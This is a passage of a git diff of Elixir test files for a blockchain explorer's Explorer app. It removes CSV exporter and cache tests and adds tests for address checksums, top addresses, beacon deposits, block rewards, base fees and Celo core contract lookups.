@@ -defmodule Explorer.Chain.AddressLogCsvExporterTest do - use Explorer.DataCase - - alias Explorer.Chain.AddressLogCsvExporter - - describe "export/3" do - test "exports address logs to csv" do - address = insert(:address) - - transaction = - :transaction - |> insert() - |> with_block() - - log = - insert(:log, - address: address, - index: 1, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number, - data: "0x12", - first_topic: "0x13", - second_topic: "0x14", - third_topic: "0x15", - fourth_topic: "0x16" - ) - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - [result] = - address - |> AddressLogCsvExporter.export(from_period, to_period) - |> Enum.to_list() - |> Enum.drop(1) - |> Enum.map(fn [ - [[], transaction_hash], - _, - [[], index], - _, - [[], block_number], - _, - [[], block_hash], - _, - [[], address], - _, - [[], data], - _, - [[], first_topic], - _, - [[], second_topic], - _, - [[], third_topic], - _, - [[], fourth_topic], - _ - ] -> - %{ - transaction_hash: transaction_hash, - index: index, - block_number: block_number, - block_hash: block_hash, - address: address, - data: data, - first_topic: first_topic, - second_topic: second_topic, - third_topic: third_topic, - fourth_topic: fourth_topic - } - end) - - assert result.transaction_hash == to_string(log.transaction_hash) - assert result.index == to_string(log.index) - assert result.block_number == to_string(log.block_number) - assert result.block_hash == to_string(log.block_hash) - assert result.address == String.downcase(to_string(log.address)) - assert result.data == to_string(log.data) - assert result.first_topic == to_string(log.first_topic) - assert result.second_topic == to_string(log.second_topic) - assert result.third_topic == to_string(log.third_topic) - assert result.fourth_topic == to_string(log.fourth_topic) - end - - test "fetches all logs" do - address = insert(:address) - - 1..200 - |> Enum.map(fn index -> - transaction = - :transaction - |> insert() - |> with_block() - - insert(:log, - address: address, - index: index, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number - ) - end) - |> Enum.count() - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - result = - address - |> AddressLogCsvExporter.export(from_period, to_period) - |> Enum.to_list() - |> Enum.drop(1) - - assert Enum.count(result) == 200 - end - end -end diff --git a/apps/explorer/test/explorer/chain/address_test.exs b/apps/explorer/test/explorer/chain/address_test.exs index 213913c766a8..75af9de50b9e 100644 --- a/apps/explorer/test/explorer/chain/address_test.exs +++ b/apps/explorer/test/explorer/chain/address_test.exs @@ -6,6 +6,8 @@ defmodule Explorer.Chain.AddressTest do alias Explorer.Chain.Address alias Explorer.Repo + setup :verify_on_exit! + describe "changeset/2" do test "with valid attributes" do params = params_for(:address) @@ -30,35 +32,101 @@ defmodule Explorer.Chain.AddressTest do end describe "Phoenix.HTML.Safe.to_iodata/1" do - setup do - Application.put_env(:explorer, :checksum_function, :eth) - - :ok - end - defp str(value) do to_string(insert(:address, hash: value)) end - test "returns the checksum formatted address" do - assert str("0xdf9aac76b722b08511a4c561607a9bf3afa62e49") == "0xDF9AaC76b722B08511A4C561607A9bf3AfA62E49" - assert str("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") == "0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed" - assert str("0xfb6916095ca1df60bb79ce92ce3ea74c37c5d359") == "0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359" - assert str("0xdbf03b407c01e7cd3cbea99509d93f8dddc8c6fb") == "0xdbF03B407c01E7cD3CBea99509d93f8DDDC8C6FB" - assert str("0xd1220a0cf47c7b9be7a2e6ba89f429762e7b9adb") == "0xD1220A0cf47c7B9Be7A2E6BA89F429762e7b9aDb" + if Application.compile_env(:explorer, :chain_type) !== :rsk do + test "returns the checksum formatted address" do + assert str("0xdf9aac76b722b08511a4c561607a9bf3afa62e49") == "0xDF9AaC76b722B08511A4C561607A9bf3AfA62E49" + assert str("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") == "0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed" + assert str("0xfb6916095ca1df60bb79ce92ce3ea74c37c5d359") == "0xfB6916095ca1df60bB79Ce92cE3Ea74c37c5d359" + assert str("0xdbf03b407c01e7cd3cbea99509d93f8dddc8c6fb") == "0xdbF03B407c01E7cD3CBea99509d93f8DDDC8C6FB" + assert str("0xd1220a0cf47c7b9be7a2e6ba89f429762e7b9adb") == "0xD1220A0cf47c7B9Be7A2E6BA89F429762e7b9aDb" + end + end + + if Application.compile_env(:explorer, :chain_type) == :rsk do + test "returns the checksum rsk formatted address" do + old_chain_id = Application.get_env(:block_scout_web, :chain_id) + Application.put_env(:block_scout_web, :chain_id, 30) + + assert str("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") == "0x5aaEB6053f3e94c9b9a09f33669435E7ef1bEAeD" + assert str("0xfb6916095ca1df60bb79ce92ce3ea74c37c5d359") == "0xFb6916095cA1Df60bb79ce92cE3EA74c37c5d359" + assert str("0xdbf03b407c01e7cd3cbea99509d93f8dddc8c6fb") == "0xDBF03B407c01E7CD3cBea99509D93F8Dddc8C6FB" + assert str("0xd1220a0cf47c7b9be7a2e6ba89f429762e7b9adb") == "0xD1220A0Cf47c7B9BE7a2e6ba89F429762E7B9adB" + + Application.put_env(:block_scout_web, :chain_id, old_chain_id) + end end + end - test "returns the checksum rsk formatted address" do - expect(EthereumJSONRPC.Mox, :json_rpc, fn _json, _options -> - {:ok, "30"} - end) + describe "list_top_addresses/0" do + test "without addresses with balance > 0" do + insert(:address, fetched_coin_balance: 0) + assert [] = Address.list_top_addresses() + end - Application.put_env(:explorer, :checksum_function, :rsk) + test "with top addresses in order" do + address_hashes = + 4..1//-1 + |> Enum.map(&insert(:address, fetched_coin_balance: &1)) + |> Enum.map(& &1.hash) - assert str("0x5aaeb6053f3e94c9b9a09f33669435e7ef1beaed") == "0x5aaEB6053f3e94c9b9a09f33669435E7ef1bEAeD" - assert str("0xfb6916095ca1df60bb79ce92ce3ea74c37c5d359") == "0xFb6916095cA1Df60bb79ce92cE3EA74c37c5d359" - assert str("0xdbf03b407c01e7cd3cbea99509d93f8dddc8c6fb") == "0xDBF03B407c01E7CD3cBea99509D93F8Dddc8C6FB" - assert str("0xd1220a0cf47c7b9be7a2e6ba89f429762e7b9adb") == "0xD1220A0Cf47c7B9BE7a2e6ba89F429762E7B9adB" + assert address_hashes == + Address.list_top_addresses() + |> Enum.map(& &1.hash) end + + # flaky test + # test "with top addresses in order with matching value" do + # test_hashes = + # 4..0 + # |> Enum.map(&Explorer.Chain.Hash.cast(Explorer.Chain.Hash.Address, &1)) + # |> Enum.map(&elem(&1, 1)) + + # tail = + # 4..1 + # |> Enum.map(&insert(:address, fetched_coin_balance: &1, hash: Enum.fetch!(test_hashes, &1 - 1))) + # |> Enum.map(& &1.hash) + + # first_result_hash = + # :address + # |> insert(fetched_coin_balance: 4, hash: Enum.fetch!(test_hashes, 4)) + # |> Map.fetch!(:hash) + + # assert [first_result_hash | tail] == + # Address.list_top_addresses() + # |> Enum.map(fn {address, _transaction_count} -> address end) + # |> Enum.map(& &1.hash) + # end + + # flaky test + # test "paginates addresses" do + # test_hashes = + # 4..0 + # |> Enum.map(&Explorer.Chain.Hash.cast(Explorer.Chain.Hash.Address, &1)) + # |> Enum.map(&elem(&1, 1)) + + # result = + # 4..1 + # |> Enum.map(&insert(:address, fetched_coin_balance: &1, hash: Enum.fetch!(test_hashes, &1 - 1))) + # |> Enum.map(& &1.hash) + + # options = [paging_options: %PagingOptions{page_size: 1}] + + # [{top_address, _}] = Chain.list_top_addresses(options) + # assert top_address.hash == List.first(result) + + # tail_options = [ + # paging_options: %PagingOptions{key: {top_address.fetched_coin_balance.value, top_address.hash}, page_size: 3} + # ] + + # tail_result = tail_options |> Address.list_top_addresses() |> Enum.map(fn {address, _} -> address.hash end) + + # [_ | expected_tail] = result + + # assert tail_result == expected_tail + # end end end diff --git a/apps/explorer/test/explorer/chain/address_token_transfer_csv_exporter_test.exs b/apps/explorer/test/explorer/chain/address_token_transfer_csv_exporter_test.exs deleted file mode 100644 index c64ecafa99b8..000000000000 --- a/apps/explorer/test/explorer/chain/address_token_transfer_csv_exporter_test.exs +++ /dev/null @@ -1,121 +0,0 @@ -defmodule Explorer.Chain.AddressTokenTransferCsvExporterTest do - use Explorer.DataCase - - alias Explorer.Chain.AddressTokenTransferCsvExporter - - describe "export/3" do - test "exports token transfers to csv" do - address = insert(:address) - - transaction = - :transaction - |> insert(from_address: address) - |> with_block() - - token_transfer = - insert(:token_transfer, transaction: transaction, from_address: address, block_number: transaction.block_number) - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - [result] = - address - |> AddressTokenTransferCsvExporter.export(from_period, to_period) - |> Enum.to_list() - |> Enum.drop(1) - |> Enum.map(fn [ - [[], tx_hash], - _, - [[], block_number], - _, - [[], timestamp], - _, - [[], from_address], - _, - [[], to_address], - _, - [[], token_contract_address], - _, - [[], type], - _, - [[], token_symbol], - _, - [[], tokens_transferred], - _, - [[], transaction_fee], - _, - [[], status], - _, - [[], err_code], - _ - ] -> - %{ - tx_hash: tx_hash, - block_number: block_number, - timestamp: timestamp, - from_address: from_address, - to_address: to_address, - token_contract_address: token_contract_address, - type: type, - token_symbol: token_symbol, - tokens_transferred: tokens_transferred, - transaction_fee: transaction_fee, - status: status, - err_code: err_code - } - end) - - assert result.block_number == to_string(transaction.block_number) - assert result.tx_hash == to_string(transaction.hash) - assert result.from_address == token_transfer.from_address_hash |> to_string() |> String.downcase() - assert result.to_address == token_transfer.to_address_hash |> to_string() |> String.downcase() - assert result.timestamp == to_string(transaction.block.timestamp) - assert result.type == "OUT" - end - - test "fetches all token transfers" do - address = insert(:address) - - 1..200 - |> Enum.map(fn _ -> - transaction = - :transaction - |> insert(from_address: address) - |> with_block() - - insert(:token_transfer, - transaction: transaction, - from_address: address, - block_number: transaction.block_number - ) - end) - |> Enum.count() - - 1..200 - |> Enum.map(fn _ -> - transaction = - :transaction - |> insert(to_address: address) - |> with_block() - - insert(:token_transfer, - transaction: transaction, - to_address: address, - block_number: transaction.block_number - ) - end) - |> Enum.count() - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - result = - address - |> AddressTokenTransferCsvExporter.export(from_period, to_period) - |> Enum.to_list() - |> Enum.drop(1) - - assert Enum.count(result) == 400 - end - end -end diff --git a/apps/explorer/test/explorer/chain/address_transaction_csv_exporter_test.exs b/apps/explorer/test/explorer/chain/address_transaction_csv_exporter_test.exs deleted file mode 100644 index 7145e9c507f4..000000000000 --- a/apps/explorer/test/explorer/chain/address_transaction_csv_exporter_test.exs +++ /dev/null @@ -1,127 +0,0 @@ -defmodule Explorer.Chain.AddressTransactionCsvExporterTest do - use Explorer.DataCase - - alias Explorer.Chain.{AddressTransactionCsvExporter, Wei} - - describe "export/3" do - test "exports address transactions to csv" do - address = insert(:address) - - transaction = - :transaction - |> insert(from_address: address) - |> with_block() - |> Repo.preload(:token_transfers) - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - [result] = - address - |> AddressTransactionCsvExporter.export(from_period, to_period) - |> Enum.to_list() - |> Enum.drop(1) - |> Enum.map(fn [ - [[], hash], - _, - [[], block_number], - _, - [[], timestamp], - _, - [[], from_address], - _, - [[], to_address], - _, - [[], created_address], - _, - [[], type], - _, - [[], value], - _, - [[], fee], - _, - [[], status], - _, - [[], error], - _, - [[], cur_price], - _, - [[], op_price], - _, - [[], cl_price], - _ - ] -> - %{ - hash: hash, - block_number: block_number, - timestamp: timestamp, - from_address: from_address, - to_address: to_address, - created_address: created_address, - type: type, - value: value, - fee: fee, - status: status, - error: error, - current_price: cur_price, - opening_price: op_price, - closing_price: cl_price - } - end) - - assert result.block_number == to_string(transaction.block_number) - assert result.timestamp - assert result.created_address == to_string(transaction.created_contract_address_hash) - assert result.from_address == to_string(transaction.from_address) - assert result.to_address == to_string(transaction.to_address) - assert result.hash == to_string(transaction.hash) - assert result.type == "OUT" - assert result.value == transaction.value |> Wei.to(:wei) |> to_string() - assert result.fee - assert result.status == to_string(transaction.status) - assert result.error == to_string(transaction.error) - assert result.current_price - assert result.opening_price - assert result.closing_price - end - - test "fetches all transactions" do - address = insert(:address) - - 1..200 - |> Enum.map(fn _ -> - :transaction - |> insert(from_address: address) - |> with_block() - end) - |> Enum.count() - - 1..200 - |> Enum.map(fn _ -> - :transaction - |> insert(to_address: address) - |> with_block() - end) - |> Enum.count() - - 1..200 - |> Enum.map(fn _ -> - :transaction - |> insert(created_contract_address: address) - |> with_block() - end) - |> Enum.count() - - from_period = Timex.format!(Timex.shift(Timex.now(), minutes: -1), "%Y-%m-%d", :strftime) - to_period = Timex.format!(Timex.now(), "%Y-%m-%d", :strftime) - - result = - address - |> AddressTransactionCsvExporter.export(from_period, to_period) - |> Enum.to_list() - |> Enum.drop(1) - - assert Enum.count(result) == 600 - end - end -end diff --git a/apps/explorer/test/explorer/chain/beacon/deposit_test.exs b/apps/explorer/test/explorer/chain/beacon/deposit_test.exs new file mode 100644 index 000000000000..514b6a3afe9b --- /dev/null +++ b/apps/explorer/test/explorer/chain/beacon/deposit_test.exs @@ -0,0 +1,55 @@ +defmodule Explorer.Chain.Beacon.DepositTest do + use Explorer.DataCase + + alias Explorer.Chain.Beacon.Deposit + + describe "get_logs_with_deposits/4" do + @deposit_event_signature "0x649BBC62D0E31342AFEA4E5CD82D4049E7E1EE912FC0889AA790803BE39038C5" + + test "filter out reorged blocks" do + deposit_contract = insert(:address) + reorg = insert(:block, consensus: false) + actual_block = insert(:block, consensus: true, number: reorg.number) + transaction = insert(:transaction) |> with_block(actual_block) + + reorged_logs = [ + insert(:log, + address: deposit_contract, + block: reorg, + transaction: transaction, + first_topic: @deposit_event_signature + ), + insert(:log, + address: deposit_contract, + block: reorg, + transaction: transaction, + first_topic: @deposit_event_signature + ) + ] + + actual_logs = [ + insert(:log, + address: deposit_contract, + block: actual_block, + transaction: transaction, + first_topic: @deposit_event_signature + ), + insert(:log, + address: deposit_contract, + block: actual_block, + transaction: transaction, + first_topic: @deposit_event_signature + ) + ] + + assert actual_logs |> Enum.map(&{&1.transaction_hash, &1.block_hash, &1.block_number, &1.data, &1.index}) == + Deposit.get_logs_with_deposits( + deposit_contract.hash, + -1, + -1, + 10 + ) + |> Enum.map(&{&1.transaction_hash, &1.block_hash, &1.block_number, &1.data, &1.index}) + end + end +end diff --git a/apps/explorer/test/explorer/chain/beacon/reader_test.exs b/apps/explorer/test/explorer/chain/beacon/reader_test.exs new file mode 100644 index 000000000000..2a8abb6ccaae --- /dev/null +++ b/apps/explorer/test/explorer/chain/beacon/reader_test.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Chain.Beacon.ReaderTest do + use Explorer.DataCase + + alias Explorer.Chain.Beacon.Reader + + if Application.compile_env(:explorer, :chain_type) == :ethereum do + doctest Reader + end +end diff --git a/apps/explorer/test/explorer/chain/block/reader/general_test.exs b/apps/explorer/test/explorer/chain/block/reader/general_test.exs new file mode 100644 index 000000000000..0f78e9aba3eb --- /dev/null +++ b/apps/explorer/test/explorer/chain/block/reader/general_test.exs @@ -0,0 +1,50 @@ +defmodule Explorer.Chain.Block.Reader.GeneralTest do + use Explorer.DataCase + + alias Explorer.Chain.Block.Reader.General, as: BlockGeneralReader + + describe "timestamp_to_block_number/4" do + test "returns correct block number when given timestamp is equal to block timestamp" do + timestamp = DateTime.from_unix!(60 * 60 * 24 * 1, :second) + block = insert(:block, timestamp: timestamp) + expected = {:ok, block.number} + + assert ^expected = BlockGeneralReader.timestamp_to_block_number(timestamp, :after, true, false) + assert ^expected = BlockGeneralReader.timestamp_to_block_number(timestamp, :before, true, false) + end + + test "with strict=true returns block after timestamp" do + timestamp = DateTime.from_unix!(60 * 60 * 24 * 1, :second) + + # Insert blocks before and after the timestamp + before_block = insert(:block, timestamp: DateTime.add(timestamp, -10, :second)) + target_block = insert(:block, timestamp: DateTime.add(timestamp, 5, :second)) + _after_block = insert(:block, timestamp: DateTime.add(timestamp, 20, :second)) + + # When searching for blocks after the timestamp + expected = {:ok, target_block.number} + assert ^expected = BlockGeneralReader.timestamp_to_block_number(timestamp, :after, true, true) + + # When searching for blocks before the timestamp + expected = {:ok, before_block.number} + assert ^expected = BlockGeneralReader.timestamp_to_block_number(timestamp, :before, true, true) + end + + test "with strict=true returns error when no blocks found" do + timestamp = DateTime.from_unix!(60 * 60 * 24 * 1, :second) + + # Insert blocks only after the timestamp + _after_block = insert(:block, timestamp: DateTime.add(timestamp, 10, :second)) + + # When searching for blocks before the timestamp + assert {:error, :not_found} = BlockGeneralReader.timestamp_to_block_number(timestamp, :before, true, true) + + # Clear blocks and insert one before + Repo.delete_all(Explorer.Chain.Block) + _before_block = insert(:block, timestamp: DateTime.add(timestamp, -10, :second)) + + # When searching for blocks after the timestamp + assert {:error, :not_found} = BlockGeneralReader.timestamp_to_block_number(timestamp, :after, true, true) + end + end +end diff --git a/apps/explorer/test/explorer/chain/block_test.exs b/apps/explorer/test/explorer/chain/block_test.exs index 35f14c54795c..932d3441cbd8 100644 --- a/apps/explorer/test/explorer/chain/block_test.exs +++ b/apps/explorer/test/explorer/chain/block_test.exs @@ -2,7 +2,7 @@ defmodule Explorer.Chain.BlockTest do use Explorer.DataCase alias Ecto.Changeset - alias Explorer.Chain.Block + alias Explorer.Chain.{Block, Wei} describe "changeset/2" do test "with valid attributes" do @@ -58,4 +58,89 @@ defmodule Explorer.Chain.BlockTest do assert Enum.member?(results, unrewarded_block.hash) end end + + describe "block_reward_by_parts/1" do + setup do + {:ok, emission_reward: insert(:emission_reward)} + end + + test "without uncles", %{emission_reward: %{reward: reward, block_range: range}} do + block = build(:block, number: range.from, base_fee_per_gas: 5, uncles: []) + + tx1 = build(:transaction, gas_price: 1, gas_used: 1, block_number: block.number, block_hash: block.hash) + tx2 = build(:transaction, gas_price: 1, gas_used: 2, block_number: block.number, block_hash: block.hash) + + tx3 = + build(:transaction, + gas_price: 1, + gas_used: 3, + block_number: block.number, + block_hash: block.hash, + max_priority_fee_per_gas: 1 + ) + + expected_transaction_fees = %Wei{value: Decimal.new(6)} + expected_burnt_fees = %Wei{value: Decimal.new(30)} + expected_uncle_reward = %Wei{value: Decimal.new(0)} + + assert %{ + static_reward: ^reward, + transaction_fees: ^expected_transaction_fees, + burnt_fees: ^expected_burnt_fees, + uncle_reward: ^expected_uncle_reward + } = Block.block_reward_by_parts(block, [tx1, tx2, tx3]) + end + + test "with uncles", %{emission_reward: %{reward: reward, block_range: range}} do + block = + build(:block, + number: range.from, + uncles: ["0xe670ec64341771606e55d6b4ca35a1a6b75ee3d5145a99d05921026d15273311"] + ) + + expected_uncle_reward = Wei.div(reward, 32) + + assert %{uncle_reward: ^expected_uncle_reward} = Block.block_reward_by_parts(block, []) + end + end + + describe "next_block_base_fee_per_gas" do + test "with no blocks in the database returns nil" do + assert Block.next_block_base_fee_per_gas() == nil + end + + test "ignores non consensus blocks" do + insert(:block, consensus: false, base_fee_per_gas: Wei.from(Decimal.new(1), :wei)) + assert Block.next_block_base_fee_per_gas() == nil + end + + test "returns the next block base fee" do + insert(:block, + consensus: true, + base_fee_per_gas: Wei.from(Decimal.new(1000), :wei), + gas_limit: Decimal.new(30_000_000), + gas_used: Decimal.new(15_000_000) + ) + + assert Block.next_block_base_fee_per_gas() == Decimal.new(1000) + + insert(:block, + consensus: true, + base_fee_per_gas: Wei.from(Decimal.new(1000), :wei), + gas_limit: Decimal.new(30_000_000), + gas_used: Decimal.new(3_000_000) + ) + + assert Block.next_block_base_fee_per_gas() == Decimal.new(900) + + insert(:block, + consensus: true, + base_fee_per_gas: Wei.from(Decimal.new(1000), :wei), + gas_limit: Decimal.new(30_000_000), + gas_used: Decimal.new(27_000_000) + ) + + assert Block.next_block_base_fee_per_gas() == Decimal.new(1100) + end + end end diff --git a/apps/explorer/test/explorer/chain/cache/address_sum_minus_burnt.exs b/apps/explorer/test/explorer/chain/cache/address_sum_minus_burnt.exs deleted file mode 100644 index f23fb3788b7b..000000000000 --- a/apps/explorer/test/explorer/chain/cache/address_sum_minus_burnt.exs +++ /dev/null @@ -1,58 +0,0 @@ -defmodule Explorer.Chain.Cache.AddressSumMinusBurntTest do - use Explorer.DataCase - - alias Explorer.Chain.Cache.AddressSumMinusBurnt - - setup do - Supervisor.terminate_child(Explorer.Supervisor, AddressSumMinusBurnt.child_id()) - Supervisor.restart_child(Explorer.Supervisor, AddressSumMinusBurnt.child_id()) - :ok - end - - test "returns default address sum" do - result = AddressSumMinusBurnt.get_sum_minus_burnt() - - assert result == Decimal.new(0) - end - - test "updates cache if initial value is zero" do - insert(:address, fetched_coin_balance: 1) - insert(:address, fetched_coin_balance: 2) - insert(:address, fetched_coin_balance: 3) - insert(:address, hash: "0x0000000000000000000000000000000000000000", fetched_coin_balance: 4) - - _result = AddressSumMinusBurnt.get_sum_minus_burnt() - - Process.sleep(1000) - - updated_value = Decimal.to_integer(AddressSumMinusBurnt.get_sum_minus_burnt()) - - assert updated_value == 6 - end - - test "does not update cache if cache period did not pass" do - insert(:address, fetched_coin_balance: 1) - insert(:address, fetched_coin_balance: 2) - insert(:address, fetched_coin_balance: 3) - insert(:address, hash: "0x0000000000000000000000000000000000000000", fetched_coin_balance: 4) - - _result = AddressSumMinusBurnt.get_sum_minus_burnt() - - Process.sleep(1000) - - updated_value = Decimal.to_integer(AddressSumMinusBurnt.get_sum_minus_burnt()) - - assert updated_value == 6 - - insert(:address, fetched_coin_balance: 4) - insert(:address, fetched_coin_balance: 5) - - _updated_value = AddressSumMinusBurnt.get_sum_minus_burnt() - - Process.sleep(1000) - - updated_value = Decimal.to_integer(AddressSumMinusBurnt.get_sum_minus_burnt()) - - assert updated_value == 6 - end -end diff --git a/apps/explorer/test/explorer/chain/cache/address_sum_test.exs b/apps/explorer/test/explorer/chain/cache/address_sum_test.exs deleted file mode 100644 index b445c564b7f0..000000000000 --- a/apps/explorer/test/explorer/chain/cache/address_sum_test.exs +++ /dev/null @@ -1,57 +0,0 @@ -defmodule Explorer.Chain.Cache.AddressSumTest do - use Explorer.DataCase - - alias Explorer.Chain.Cache.AddressSum - - setup do - Supervisor.terminate_child(Explorer.Supervisor, AddressSum.child_id()) - Supervisor.restart_child(Explorer.Supervisor, AddressSum.child_id()) - :ok - end - - test "returns default address sum" do - result = AddressSum.get_sum() - - assert result == Decimal.new(0) - end - - test "updates cache if initial value is zero" do - insert(:address, fetched_coin_balance: 1) - insert(:address, fetched_coin_balance: 2) - insert(:address, fetched_coin_balance: 3) - insert(:address, hash: "0x0000000000000000000000000000000000000000", fetched_coin_balance: 4) - - _result = AddressSum.get_sum() - - Process.sleep(1000) - - updated_value = Decimal.to_integer(AddressSum.get_sum()) - - assert updated_value == 10 - end - - test "does not update cache if cache period did not pass" do - insert(:address, fetched_coin_balance: 1) - insert(:address, fetched_coin_balance: 2) - insert(:address, fetched_coin_balance: 3) - - _result = AddressSum.get_sum() - - Process.sleep(1000) - - updated_value = Decimal.to_integer(AddressSum.get_sum()) - - assert updated_value == 6 - - insert(:address, fetched_coin_balance: 4) - insert(:address, fetched_coin_balance: 5) - - _updated_value = AddressSum.get_sum() - - Process.sleep(1000) - - updated_value = Decimal.to_integer(AddressSum.get_sum()) - - assert updated_value == 6 - end -end diff --git a/apps/explorer/test/explorer/chain/cache/block_test.exs b/apps/explorer/test/explorer/chain/cache/block_test.exs deleted file mode 100644 index 39a5da93ee59..000000000000 --- a/apps/explorer/test/explorer/chain/cache/block_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -defmodule Explorer.Chain.Cache.BlockTest do - use Explorer.DataCase - - alias Explorer.Chain.Cache.Block - - setup do - Supervisor.terminate_child(Explorer.Supervisor, Block.child_id()) - Supervisor.restart_child(Explorer.Supervisor, Block.child_id()) - :ok - end - - test "returns default block count" do - result = Block.get_count() - - assert is_nil(result) - end - - test "updates cache if initial value is zero" do - insert(:block, consensus: true) - insert(:block, consensus: true) - insert(:block, consensus: false) - - _result = Block.get_count() - - Process.sleep(1000) - - updated_value = Block.get_count() - - assert updated_value == 2 - end - - test "does not update cache if cache period did not pass" do - insert(:block, consensus: true) - insert(:block, consensus: true) - insert(:block, consensus: false) - - _result = Block.get_count() - - Process.sleep(1000) - - updated_value = Block.get_count() - - assert updated_value == 2 - - insert(:block, consensus: true) - insert(:block, consensus: true) - - _updated_value = Block.get_count() - - Process.sleep(1000) - - updated_value = Block.get_count() - - assert updated_value == 2 - end -end diff --git a/apps/explorer/test/explorer/chain/cache/blocks_test.exs b/apps/explorer/test/explorer/chain/cache/blocks_test.exs index 41fe344a1e3d..384a2516238c 100644 --- a/apps/explorer/test/explorer/chain/cache/blocks_test.exs +++ b/apps/explorer/test/explorer/chain/cache/blocks_test.exs @@ -1,6 +1,7 @@ defmodule Explorer.Chain.Cache.BlocksTest do use Explorer.DataCase + alias Explorer.Chain.Block alias Explorer.Chain.Cache.Blocks alias Explorer.Repo @@ -16,7 +17,7 @@ defmodule Explorer.Chain.Cache.BlocksTest do Blocks.update(block) - assert Blocks.all() == [block] + assert Blocks.all() == [block |> Block.aggregate_transactions() |> Map.put(:transactions, [])] end test "adds a new elements removing the oldest one" do diff --git a/apps/explorer/test/explorer/chain/cache/celo_core_contracts_test.exs b/apps/explorer/test/explorer/chain/cache/celo_core_contracts_test.exs new file mode 100644 index 000000000000..6a3284e46218 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/celo_core_contracts_test.exs @@ -0,0 +1,84 @@ +defmodule Explorer.Chain.Cache.CeloCoreContractsTest do + use ExUnit.Case, async: true + + alias Explorer.Chain.Cache.CeloCoreContracts + + describe "get_address/2" do + test "returns address according to block number" do + first_address = "0xb10ee11244526b94879e1956745ba2e35ae2ba20" + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "EpochRewards" => [ + %{ + "address" => first_address, + "updated_at_block_number" => 100 + } + ] + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) + + assert {:error, :address_does_not_exist} = CeloCoreContracts.get_address(:epoch_rewards, 99) + assert {:ok, ^first_address} = CeloCoreContracts.get_address(:epoch_rewards, 100) + assert {:ok, ^first_address} = CeloCoreContracts.get_address(:epoch_rewards, 10_000) + end + end + + describe "get_event/3" do + test "returns event according to block number" do + first_address = "0x0000000000000000000000000000000000000000" + second_address = "0x22579ca45ee22e2e16ddf72d955d6cf4c767b0ef" + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "EpochRewards" => [ + %{ + "address" => "0xb10ee11244526b94879e1956745ba2e35ae2ba20", + "updated_at_block_number" => 100 + } + ] + }, + "events" => %{ + "EpochRewards" => %{ + "0xb10ee11244526b94879e1956745ba2e35ae2ba20" => %{ + "CarbonOffsettingFundSet" => [ + %{ + "address" => first_address, + "updated_at_block_number" => 598 + }, + %{ + "address" => second_address, + "updated_at_block_number" => 15_049_265 + } + ] + } + } + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) + + assert {:error, :address_does_not_exist} = + CeloCoreContracts.get_event(:epoch_rewards, :carbon_offsetting_fund_set, 99) + + assert {:ok, %{"address" => ^first_address, "updated_at_block_number" => 598}} = + CeloCoreContracts.get_event(:epoch_rewards, :carbon_offsetting_fund_set, 598) + + assert {:ok, %{"address" => ^first_address, "updated_at_block_number" => 598}} = + CeloCoreContracts.get_event(:epoch_rewards, :carbon_offsetting_fund_set, 599) + + assert {:ok, %{"address" => ^second_address, "updated_at_block_number" => 15_049_265}} = + CeloCoreContracts.get_event(:epoch_rewards, :carbon_offsetting_fund_set, 16_000_000) + end + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/addresses_count_test.exs b/apps/explorer/test/explorer/chain/cache/counters/addresses_count_test.exs new file mode 100644 index 000000000000..35b2058e176e --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/addresses_count_test.exs @@ -0,0 +1,16 @@ +defmodule Explorer.Chain.Cache.Counters.AddressesCountTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.AddressesCount + + test "populates the cache with the number of all addresses" do + insert(:address, fetched_coin_balance: 0) + insert(:address, fetched_coin_balance: 1) + insert(:address, fetched_coin_balance: 2) + + start_supervised!(AddressesCount) + AddressesCount.consolidate() + + assert AddressesCount.fetch() == 3 + end +end diff --git a/apps/explorer/test/explorer/chain/cache/counters/addresses_sum_minus_burnt.exs b/apps/explorer/test/explorer/chain/cache/counters/addresses_sum_minus_burnt.exs new file mode 100644 index 000000000000..8bbd06836b83 --- /dev/null +++ b/apps/explorer/test/explorer/chain/cache/counters/addresses_sum_minus_burnt.exs @@ -0,0 +1,58 @@ +defmodule Explorer.Chain.Cache.Counters.AddressesCoinBalanceSumMinusBurntTest do + use Explorer.DataCase + + alias Explorer.Chain.Cache.Counters.AddressesCoinBalanceSumMinusBurnt + + setup do + Supervisor.terminate_child(Explorer.Supervisor, AddressesCoinBalanceSumMinusBurnt.child_id()) + Supervisor.restart_child(Explorer.Supervisor, AddressesCoinBalanceSumMinusBurnt.child_id()) + :ok + end + + test "returns default address sum" do + result = AddressesCoinBalanceSumMinusBurnt.get_sum_minus_burnt() + + assert result == Decimal.new(0) + end + + test "updates cache if initial value is 